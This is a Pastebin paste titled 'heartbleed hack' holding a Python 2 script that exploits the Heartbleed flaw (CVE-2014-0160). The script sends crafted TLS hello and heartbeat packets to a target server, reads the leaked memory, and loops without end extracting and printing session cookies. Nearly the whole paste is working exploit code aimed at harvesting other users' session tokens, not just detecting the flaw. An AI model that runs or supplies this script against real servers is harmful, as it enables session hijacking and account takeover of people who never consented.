GregTampa

heartbleed hack

Apr 12th, 2014
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.79 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
  4.  
  5. # Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
  6.  
  7. import select
  8. import sys
  9. import string
  10. import struct
  11. import socket
  12. import time
  13. from optparse import OptionParser
  14.  
  15. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  16. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  17. options.add_option('-c', '--cookie', type='str', default='session', help='Cookie to look for (default: session)')
  18. options.add_option('-l', '--length', type='int', default=1024, help='Length of the cookie (default: 1024)')
  19. options.add_option('-t', '--tls', type='int', default=2, help='0=SSLv3, 1=TLSv1, 2=TLSv1.1, 3=TLSv1.2 (default: 2)')
  20.  
  21. def h2bin(x):
  22. return x.replace(' ', '').replace('\n', '').decode('hex')
  23.  
  24. hello = h2bin('''
  25. 16 03 02 00 dc 01 00 00 d8 03 02 53
  26. 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
  27. bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
  28. 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
  29. 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
  30. c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
  31. c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
  32. c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
  33. c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
  34. 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
  35. 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
  36. 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
  37. 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
  38. 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
  39. 00 0f 00 01 01
  40. ''')
  41.  
  42. # SSLv3
  43. hb0 = h2bin('''
  44. 18 03 00 00 03
  45. 01 40 00
  46. ''')
  47.  
  48. # TLSv1
  49. hb1 = h2bin('''
  50. 18 03 01 00 03
  51. 01 40 00
  52. ''')
  53.  
  54. # TLSv1.1
  55. hb2 = h2bin('''
  56. 18 03 02 00 03
  57. 01 40 00
  58. ''')
  59.  
  60. # TLS1.2
  61. hb3 = h2bin('''
  62. 18 03 03 00 03
  63. 01 40 00
  64. ''')
  65.  
  66.  
  67. class HeartBleeder(object):
  68.  
  69. server_response = None
  70. socket = None
  71. found_sessions = set()
  72. hostname = ''
  73. port = 0
  74. cookie = ''
  75. cookie_length = 0
  76. tls = 0
  77.  
  78. def __init__(self, hostname='', port=0, cookie='', cookie_length=0, tls=0):
  79. self.hostname = hostname
  80. self.cookie = cookie
  81. self.port = port
  82. self.cookie_length = cookie_length
  83. self.tls = tls
  84.  
  85. def connect(self):
  86. """
  87. Connects to the remote server.
  88. """
  89. self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  90. sys.stdout.flush()
  91. self.socket.connect((self.hostname, self.port))
  92. sys.stdout.flush()
  93. self.socket.send(hello)
  94. sys.stdout.flush()
  95.  
  96. def rcv_response(self):
  97. while True:
  98. _type, version, payload = self.rcv_message()
  99. if _type is None:
  100. print 'Server closed connection without sending Server Hello.'
  101. return
  102. # Look for server hello done message.
  103. if _type == 22 and ord(payload[0]) == 0x0E:
  104. break
  105.  
  106. def rcv_message(self):
  107.  
  108. record_header = self.rcv_all(5)
  109. if record_header is None:
  110. print 'Unexpected EOF receiving record header - server closed connection'
  111. return None, None, None
  112. _type, version, line = struct.unpack('>BHH', record_header)
  113. payload = self.rcv_all(line, 10)
  114. if payload is None:
  115. print 'Unexpected EOF receiving record payload - server closed connection'
  116. return None, None, None
  117. return _type, version, payload
  118.  
  119. def rcv_all(self, length, timeout=5):
  120. endtime = time.time() + timeout
  121. rdata = ''
  122. remain = length
  123. while remain > 0:
  124. rtime = endtime - time.time()
  125. if rtime < 0:
  126. return None
  127. r, w, e = select.select([self.socket], [], [], 5)
  128. if self.socket in r:
  129. data = self.socket.recv(remain)
  130. # EOF?
  131. if not data:
  132. return None
  133. rdata += data
  134. remain -= len(data)
  135. return rdata
  136.  
  137. def try_heartbeat(self, hb):
  138. self.socket.send(hb)
  139. while True:
  140. _type, version, self.payload = self.rcv_message()
  141. if _type is None:
  142. print 'No heartbeat response received, server likely not vulnerable'
  143. return False
  144.  
  145. if _type == 24:
  146. # print 'Received heartbeat response:'
  147. self.parse_response()
  148. if len(self.payload) > 3:
  149. pass
  150. else:
  151. print 'Server processed malformed heartbeat, but did not return any extra data.'
  152. return True
  153.  
  154. if _type == 21:
  155. print 'Received alert:'
  156. self.hexdump(self.payload)
  157. print 'Server returned error, likely not vulnerable'
  158. return False
  159.  
  160. def parse_response(self):
  161. """
  162. Parses the response from the server for a session id.
  163. """
  164. ascii = ''.join((c if 32 <= ord(c) <= 126 else ' ')for c in self.payload)
  165. index = string.find(ascii, self.cookie)
  166. if index >= 0:
  167. info = ascii[index:index + self.cookie_length]
  168. session = info.split(' ')[0]
  169. session = string.replace(session, ';', '')
  170. if session not in self.found_sessions:
  171. self.found_sessions.add(session)
  172. print session
  173.  
  174. def hexdump(self, payload):
  175. """
  176. Prints out a hexdump in the event that server returns an error.
  177. """
  178. for b in xrange(0, len(payload), 16):
  179. line = [c for c in payload[b:b + 16]]
  180. hxdat = ' '.join('%02X' % ord(c) for c in line)
  181. pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in line)
  182. print ' %04x: %-48s %s' % (b, hxdat, pdat)
  183. print
  184.  
  185. def scan(self, hb):
  186. self.connect()
  187. self.rcv_response()
  188. self.try_heartbeat(hb)
  189.  
  190.  
  191. def main():
  192. opts, args = options.parse_args()
  193. if len(args) < 1:
  194. options.print_help()
  195. return
  196.  
  197. if opts.tls == 0:
  198. hb = hb0
  199. elif opts.tls == 1:
  200. hb = hb1
  201. elif opts.tls == 2:
  202. hb = hb2
  203. elif opts.tls == 3:
  204. hb = hb3
  205. else:
  206. hb = hb2
  207.  
  208.  
  209. print 'Port :', opts.port
  210. print 'Cookie :', opts.cookie
  211. print 'Length :', opts.length
  212. print 'TLS :', opts.tls
  213. print ''
  214.  
  215. while True:
  216. heartbeat = HeartBleeder(hostname=args[0], port=opts.port, cookie=opts.cookie, cookie_length=opts.length)
  217. heartbeat.scan(hb)
  218.  
  219.  
  220. if __name__ == '__main__':
  221. main()
Add Comment
Please, Sign In to add comment